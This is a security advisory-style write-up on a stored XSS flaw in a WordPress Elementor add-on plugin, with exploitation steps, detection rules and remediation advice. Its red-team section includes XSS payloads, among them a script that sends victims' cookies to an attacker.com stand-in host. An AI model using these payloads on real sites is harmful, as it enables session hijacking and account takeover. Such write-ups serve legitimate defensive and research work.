CVE-2024-5818

Executive Summary

CVE-2024-5818 is a Stored DOM-based Cross-Site Scripting (XSS) vulnerability discovered in the Royal Elementor Addons and Templates plugin for WordPress. The flaw resides in the plugin's Magazine Grid/Slider widget, affecting all versions up to and including 1.3.980. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts into pages via insufficiently sanitized user-supplied attributes. When a victim (including administrators) visits the compromised page, the malicious script executes in their browser context, potentially leading to session hijacking, defacement, or further privilege escalation.

This vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's widget rendering logic. The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the stored nature of the payload makes it persistent and dangerous in multi-user environments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the repository or via automatic updates are at risk. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required beyond standard web access.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – Victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content modification possible.
• Availability (A): Low – Minor disruption possible.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature and lack of patch make it a persistent threat for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability exists in the Magazine Grid/Slider widget of the Royal Elementor Addons plugin. The widget allows users to configure various attributes (e.g., image URLs, captions, custom CSS classes) via Elementor's interface. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can inject malicious JavaScript code into these attributes.

Root Cause: The plugin fails to properly escape user-supplied attributes when rendering the widget's HTML output. Specifically, attributes like data-settings or custom CSS classes are not sanitized, allowing the injection of event handlers (e.g., onmouseover, onclick) or direct script tags.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page/post using the Royal Elementor Addons plugin.
3. Attacker adds the Magazine Grid/Slider widget and injects a malicious payload into a vulnerable attribute (e.g., data-settings='{"autoplay":"true","onmouseover":"alert(document.cookie)"}').
4. The payload is stored in the WordPress database.
5. When an administrator or other user visits the page, the malicious script executes in their browser.

Why DOM-based? The XSS is triggered client-side when the browser processes the injected attribute, making it a DOM-based variant. The server stores the payload, but the execution occurs in the DOM.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code remains in production. The following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP/JS):

// In widget rendering function
$settings = $this->get_settings_for_display();
echo '<div class="magazine-grid" data-settings="' . $settings['grid_settings'] . '">';
// No escaping applied to $settings['grid_settings']

Patched Code (Hypothetical):

// In widget rendering function
$settings = $this->get_settings_for_display();
$escaped_settings = esc_attr(json_encode($settings['grid_settings']));
echo '<div class="magazine-grid" data-settings="' . $escaped_settings . '">';
// Proper escaping using esc_attr() and json_encode()

The patched version would use WordPress's esc_attr() function and json_encode() to ensure all special characters are properly escaped.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Royal Elementor Addons <= 1.3.980 installed and activated.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Add the "Magazine Grid/Slider" widget from Royal Elementor Addons.
4. In the widget settings, locate the vulnerable attribute (e.g., "Custom CSS Class" or "Data Settings").
5. Inject the following payload:

   " onmouseover="alert(document.cookie)
   

   Or for a more sophisticated payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save/publish the page.
7. Send the page link to an administrator or wait for them to visit.

Expected Result: When the victim hovers over the widget or the page loads, the injected script executes.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual widget configurations in Elementor.
• Look for pages containing suspicious attributes like onmouseover, onerror, or <script> tags in widget settings.
• Use WAF rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or page creation endpoints.

Prevention:

• Disable the Royal Elementor Addons plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for modified plugin files)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • POST requests to wp-admin/admin-ajax.php with suspicious action parameters.
• Log Entries:
  • WordPress debug logs showing wp_ajax_* actions with unusual data.
  • Web server logs with onmouseover, onerror, or <script> in request bodies.
• Database Indicators:
  • wp_postmeta entries containing data-settings with JavaScript payloads.
  • wp_posts entries with post_content containing malicious widget shortcodes.

Detection Engineering

YARA Rule

rule CVE_2024_5818_Royal_Elementor_XSS {
    meta:
        description = "Detects stored XSS payloads in Royal Elementor Addons widget settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5818"
    strings:
        $payload1 = /on\w+="[^"]*script[^"]*"/i
        $payload2 = /<script[^>]*>.*<\/script>/i
        $payload3 = /data-settings[^>]*on\w+=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5818 - Stored XSS via Royal Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Royal Elementor Addons Magazine Grid/Slider widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/wp-admin/admin-ajax.php'
        body|contains: 
            - 'onmouseover'
            - 'onerror'
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5818 - Royal Elementor Addons Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"onmouseover"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Royal Elementor Addons plugin until a patched version is released.
2. Audit existing content – Scan all pages and posts for injected JavaScript in widget settings.
3. Restrict user roles – Temporarily downgrade contributor-level users to subscriber level to prevent exploitation.

Long-term Fix:

• Monitor the plugin's official page for a security update (version > 1.3.980).
• Apply the patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Workaround:

• If the plugin cannot be disabled, manually edit the widget's PHP files to add esc_attr() and json_encode() to all user-supplied attributes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert